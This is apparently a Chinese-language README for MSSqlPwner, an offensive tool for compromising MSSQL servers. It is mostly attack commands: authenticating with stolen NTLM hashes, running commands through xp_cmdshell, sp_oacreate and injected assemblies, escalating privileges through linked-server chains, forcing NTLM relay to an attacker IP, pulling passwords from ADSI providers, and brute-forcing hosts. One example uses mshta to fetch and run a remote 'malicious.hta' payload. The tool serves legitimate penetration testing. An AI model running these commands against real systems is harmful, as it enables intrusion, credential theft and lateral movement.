MSSqlPwner 是一款先进且多功能的渗透测试工具,旨在无缝交互并攻陷 MSSQL 服务器。
该工具基于 impacket,允许攻击者使用明文密码、NTLM 哈希和 Kerberos 票据对数据库进行身份验证。
借助 MSSqlPwner,用户可以通过多种方法执行自定义命令,包括自定义程序集、xp_cmdshell、sp_oacreate(OLE 自动化过程)等。
该工具从对链接服务器和可能的模拟进行递归枚举开始,以收集所有可能的命令执行链。
此外,MSSqlPwner 工具还可用于 NTLM 中继功能,利用诸如 xp_dirtree、xp_subdirs、xp_fileexist 等函数。
该工具可用于横向移动评估和链接服务器的探索。
如果经过身份验证的 MSSQL 用户没有执行某些操作的权限,该工具可以找到允许命令执行的正确链。 例如,如果您的用户在当前上下文中无法执行命令,工具将构建一个链,使用链接服务器并以提升的权限连接回我们的服务器。
开始使用 mssqlpwner 非常顺畅。您可以通过直接从仓库拉取来安装:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
或者,使用 pipx(建议如此),试试这个:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
现在您就可以使用这个新宠工具了:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
该工具支持多种身份验证方法,详情如下。
本工具设计用于安全专业人员和研究人员,仅用于测试目的,不得用于非法用途。
interactive:允许以交互方式实时使用工具。enumerate:枚举链接服务器和链。get-chain-list:获取链列表:
-filter-hostname HOSTNAME - 使用特定主机名过滤结果。get-link-server-list:获取链接服务器列表。set-chain:设置链 ID(仅交互模式!)
CHAIN - 要设置的链 ID。set-link-server:设置链接服务器(仅交互模式!)
LINK - 要设置的链接服务器。get-rev2self-queries:检索恢复为 SELF 的查询(仅交互模式!)。get-adsi-provider-list:检索 ADSI 提供程序列表。rev2self:恢复为 SELF(仅交互模式!)。exec:在本地服务器或链接服务器上使用 exec 执行命令
COMMAND - 要执行的命令。-command_execution_method - 要使用的命令执行方法。
xp_cmdshell - 使用 xp_cmdshell 过程执行命令(默认)。sp_oacreate - 使用 Ole Automation Procedure 过程执行命令(应像 "cmd /c something" 一样使用)。retrieve-password:从 ADSI 提供程序检索密码。
-listen-port - 侦听端口(默认:1389)。-adsi-provider - 要使用的 ADSI 提供程序(如果未定义,将自动选择)。-arch - 要使用的架构(如果未定义,将自动选择)。
x86 - 使用 x86 架构。x64 - 使用 x64 架构。ntlm-relay - 强制 NTLM 中继到服务器。
SMB_SERVER - 要中继到的 SMB 服务器。-relay-method - 要使用的中继方法。
xp_dirtree - 使用 xp_dirtree 过程(默认)。xp_subdirs - 使用 xp_subdirs 过程。xp_fileexist - 使用 xp_fileexist 过程(在某些情况下,应从特权链执行此模块)。custom-asm - 使用自定义程序集执行过程
COMMAND - 要使用的命令/路径或查询。-procedure-name - 要使用的过程名称(默认:execute_command)。
execute_command - 使用自定义程序集执行命令(默认)。run_query - 使用自定义程序集执行查询。run_query_system_service - 使用自定义程序集以系统用户(如 SqlSVC)身份执行查询。inject-custom-asm:使用自定义程序集注入代码。
file_location - 要注入的文件位置。-procedure-name - 要使用的过程名称(默认:Inject)。direct-query:执行直接查询QUERY - 要执行的查询。-query-method - 要使用的查询方法。
OpenQuery - 使用 OpenQuery 过程(默认)。exec_at - 使用 exec AT 过程。brute:发起暴力破解(可接收票据、哈希和密码)TARGETS_FILE - 包含主机和 IP 的文件,用于暴力破解。-ul - 包含用户的文件,用于暴力破解。-pl - 包含密码的文件,用于暴力破解。-tl - 包含票据的文件,用于暴力破解。-hl - 包含哈希的文件,用于暴力破解。-link-name - 要使用的链接服务器名称-chain-id - 要使用的链 ID-max-link-depth - 要使用的最大链接深度(默认:10)-max-impersonation-depth - 要使用的最大模拟深度(默认:10)-auto-yes - 自动回答所有问题为是(默认:False)-timeout - 要使用的超时时间(默认:30)MSSqlPwner 为横向移动评估和链接服务器的探索提供了机会。 在当前会话缺乏管理权限的情况下,该工具会尝试找到一条通过链接服务器提升自身权限的链。 如果链接服务器上的会话具有更高权限,该工具可以与链接服务器交互,并执行一条回连到宿主机的链接查询,从而提升权限,实现对目标服务器的横向移动。
支持多种身份验证方法,包括:
该工具适应各种场景和环境,验证身份验证机制的有效性。
借助 MSSqlPwner 的强大功能和多功能性,将您的 MSSQL 环境评估提升到新水平。 使用 MSSqlPwner 工具,发现横向移动、隐蔽查询和精确安全评估的新可能性。
# 交互模式
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# 交互模式,模拟深度为 2 级
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# 在当前服务器上使用 Windows 身份验证执行自定义程序集,并执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# 在当前服务器上使用 Windows 身份验证执行自定义程序集,并在 SRV01 链接服务器上执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# 在链接的 SRV01 服务器上使用存储过程执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# 在链接的 SRV01 服务器上使用 sp_oacreate 方法执行 hostname 命令
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# 对 SRV01 服务器发起 NTLM 中继攻击
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# 对链 ID 为 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 的链发起 NTLM 中继攻击
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# 对本地服务器发起 NTLM 中继攻击,使用自定义命令
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# 执行直接查询
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# 从链接服务器 DC01 检索密码
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# 在链接服务器 DC01 上使用自定义程序集执行代码
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# 使用票据、哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# 使用哈希和密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# 使用票据对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# 使用密码对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# 使用哈希对 hosts.txt 中列出的主机进行暴力破解
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt